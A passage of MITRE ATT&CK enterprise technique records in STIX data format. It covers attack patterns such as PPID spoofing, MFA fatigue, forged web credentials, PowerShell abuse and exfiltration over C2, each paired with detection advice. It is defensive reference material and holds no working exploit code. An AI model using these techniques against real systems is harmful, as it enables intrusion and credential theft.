"external_id": null,
"source_name": "Awake Security C2 Cloud",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:57.201000Z" | "2024-04-12T03:40:37.954000Z" | Software Deployment Tools | Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)
Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1072",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1072"
},
{
"description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
"external_id": null,
"source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
"url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
},
{
"description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
"url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
},
{
"description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
"external_id": null,
"source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
"url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection methods will vary depending on the type of third-party software or system and how it is typically used.
The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.
Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.
Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network",
"SaaS"
] | 3.0 |
attack-pattern | attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:41.804000Z" | "2023-04-07T17:09:14.040000Z" | Exfiltration Over C2 Channel | Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1041",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1041"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 2.2 |
attack-pattern | attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-18T18:22:41.448000Z" | "2022-05-03T02:15:42.360000Z" | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1134.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/004"
},
{
"description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
"external_id": null,
"source_name": "XPNSec PPID Nov 2017",
"url": "https://blog.xpnsec.com/becoming-system/"
},
{
"description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
"external_id": null,
"source_name": "CounterCept PPID Spoofing Dec 2018",
"url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
},
{
"description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
"external_id": null,
"source_name": "Microsoft UAC Nov 2018",
"url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
},
{
"description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
"external_id": null,
"source_name": "Microsoft Process Creation Flags May 2018",
"url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
},
{
"description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
"external_id": null,
"source_name": "Secuirtyinbits Ataware3 May 2019",
"url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
},
{
"description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
"external_id": null,
"source_name": "DidierStevens SelectMyParent Nov 2009",
"url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
},
{
"description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
"external_id": null,
"source_name": "CTD PPID Spoofing Macro Mar 2019",
"url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)
Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:27:02.339000Z" | "2021-08-27T15:37:09.343000Z" | Gather Victim Org Information | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1591",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591"
},
{
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ThreatPost Broadvoice Leak",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
},
{
"description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.",
"external_id": null,
"source_name": "SEC EDGAR Search",
"url": "https://www.sec.gov/edgar/search-and-access"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-12-17T02:13:46.247000Z" | "2023-10-15T11:10:03.428000Z" | Forge Web Credentials | Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.
Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)
Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1606",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606"
},
{
"description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "AWS Temporary Security Credentials",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
},
{
"description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Mac Crypto Cookies January 2019",
"url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
},
{
"description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.",
"external_id": null,
"source_name": "GitHub AWS-ADFS-Credential-Generator",
"url": "https://github.com/damianh/aws-adfs-credential-generator"
},
{
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "Microsoft SolarWinds Customer Guidance",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
"external_id": null,
"source_name": "Pass The Cookie",
"url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
},
{
"description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
"external_id": null,
"source_name": "Zimbra Preauth",
"url": "https://wiki.zimbra.com/wiki/Preauth"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"SaaS",
"Windows",
"macOS",
"Linux",
"Azure AD",
"Office 365",
"Google Workspace",
"IaaS"
] | 1.4 |
attack-pattern | attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-04-01T02:15:49.754000Z" | "2024-04-19T04:26:29.365000Z" | Multi-Factor Authentication Request Generation | Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.
Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)
In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1621",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1621"
},
{
"description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
"external_id": null,
"source_name": "Russian 2FA Push Annoyance - Cimpanu",
"url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
},
{
"description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
"external_id": null,
"source_name": "MFA Fatigue Attacks - PortSwigger",
"url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
},
{
"description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
"external_id": null,
"source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
"url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
},
{
"description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
"external_id": null,
"source_name": "Obsidian SSPR Abuse 2023",
"url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365",
"Linux",
"macOS",
"IaaS",
"SaaS",
"Azure AD",
"Google Workspace"
] | 1.1 |
attack-pattern | attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:18:34.279000Z" | "2024-04-16T13:03:40.824000Z" | Compromise Host Software Binary | Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.
Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.
An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1554",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1554"
},
{
"description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
"external_id": null,
"source_name": "Unit42 Banking Trojans Hooking 2022",
"url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
},
{
"description": "Vladislav Hrčka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
"external_id": null,
"source_name": "ESET FontOnLake Analysis 2021",
"url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles.
Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-14T14:38:03.673000Z" | "2023-04-11T00:34:00.779000Z" | Chat Messages | Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.
Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1552.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/008"
},
{
"description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Slack Security Risks",
"url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Office 365",
"SaaS",
"Google Workspace"
] | 1.0 |
|
attack-pattern | attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-09T13:48:55.078000Z" | "2024-03-01T18:01:37.575000Z" | PowerShell | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/001"
},
{
"description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Microsoft PSfromCsharp APR 2014",
"url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
},
{
"description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
"external_id": null,
"source_name": "SilentBreak Offensive PS Dec 2015",
"url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
},
{
"description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
"external_id": null,
"source_name": "FireEye PowerShell Logging 2016",
"url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
},
{
"description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
"external_id": null,
"source_name": "Github PSAttack",
"url": "https://github.com/jaredhaight/PSAttack"
},
{
"description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
"external_id": null,
"source_name": "inv_ps_attacks",
"url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
},
{
"description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
"external_id": null,
"source_name": "Malware Archaeology PowerShell Cheat Sheet",
"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
},
{
"description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
"external_id": null,
"source_name": "TechNet PowerShell",
"url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
},
{
"description": "Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
"external_id": null,
"source_name": "Sixdub PowerPick Jan 2016",
"url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.4 |
attack-pattern | attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T13:40:47.282000Z" | "2023-03-30T21:01:40.699000Z" | Change Default File Association | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. For example:
